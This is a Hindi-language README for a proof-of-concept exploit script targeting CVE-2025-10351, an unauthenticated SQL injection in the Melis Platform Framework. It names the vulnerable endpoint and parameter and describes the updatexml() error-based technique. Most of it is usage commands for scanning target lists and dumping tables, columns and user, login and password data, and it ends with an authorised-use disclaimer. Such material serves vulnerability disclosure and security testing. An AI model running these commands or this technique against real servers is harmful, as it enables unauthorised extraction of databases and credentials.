CVE-2025-10351 POC - SQL इंजेक्शन एक्सप्लॉइट 💉

CVE-2025-10351 के लिए POC: एक ऐसी बिना प्रमाणीकरण वाली SQL इंजेक्शन भेद्यता जो Melis Platform Framework में एक विशिष्ट एंडपॉइंट को प्रभावित करती है।

🔗 संदर्भ

• 📄 MITRE पर CVE-2025-10351
• 📄 INCIBE (स्पेनिश राष्ट्रीय साइबर सुरक्षा संस्थान) पर Melis Platform चेतावनी

🚀 विवरण

यह POC एंडपॉइंट में बिना प्रमाणीकरण वाली error-based SQL इंजेक्शन भेद्यता को लक्षित करता है:

melis/MelisCms/PageEdition/getTinyTemplates?idPage=

यह निम्न को निकालने के लिए MySQL में updatexml() का उपयोग करता है:

• टेबल नाम
• कॉलम नाम
• विशिष्ट या सभी कॉलमों से डेटा

यह आगे मैन्युअल शोषण के लिए संभावित time-based SQLi वेक्टरों का भी पता लगाता है।

🛠️ आवश्यकताएँ

निर्भरताएँ इस प्रकार स्थापित करें:

pip3 install -r requirements.txt

🧪 उपयोग

बुनियादी जाँच

python3 CVE-2025-10351-POC.py -u http://target.com -p 80

URL सूची से

python3 CVE-2025-10351-POC.py -l targets.txt

सभी टेबल नाम निकालें

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at

किसी टेबल से सभी कॉलम नाम निकालें

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users

सभी कॉलमों से सारा डेटा निकालें

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac

विशिष्ट कॉलम निकालें

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password

proxy का उपयोग insecure मोड, कुकीज़ और डीबग मोड के साथ करें

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug

⚙️ विकल्प

📤 आउटपुट

• निकाली गई टेबलें tables_extracted.txt में सहेजी गईं
• निकाला गया डेटा <table_name>_data.txt में सहेजा गया

⚠️ अस्वीकरण

यह दस्तावेज़ केवल अधिकृत सुरक्षा परीक्षण और सुधार के लिए है। उन सिस्टमों के विरुद्ध PoC या पुनरुत्पादन चरणों का उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं है।

Manuel Iván San Martín Castillo द्वारा ❤️ के साथ निर्मित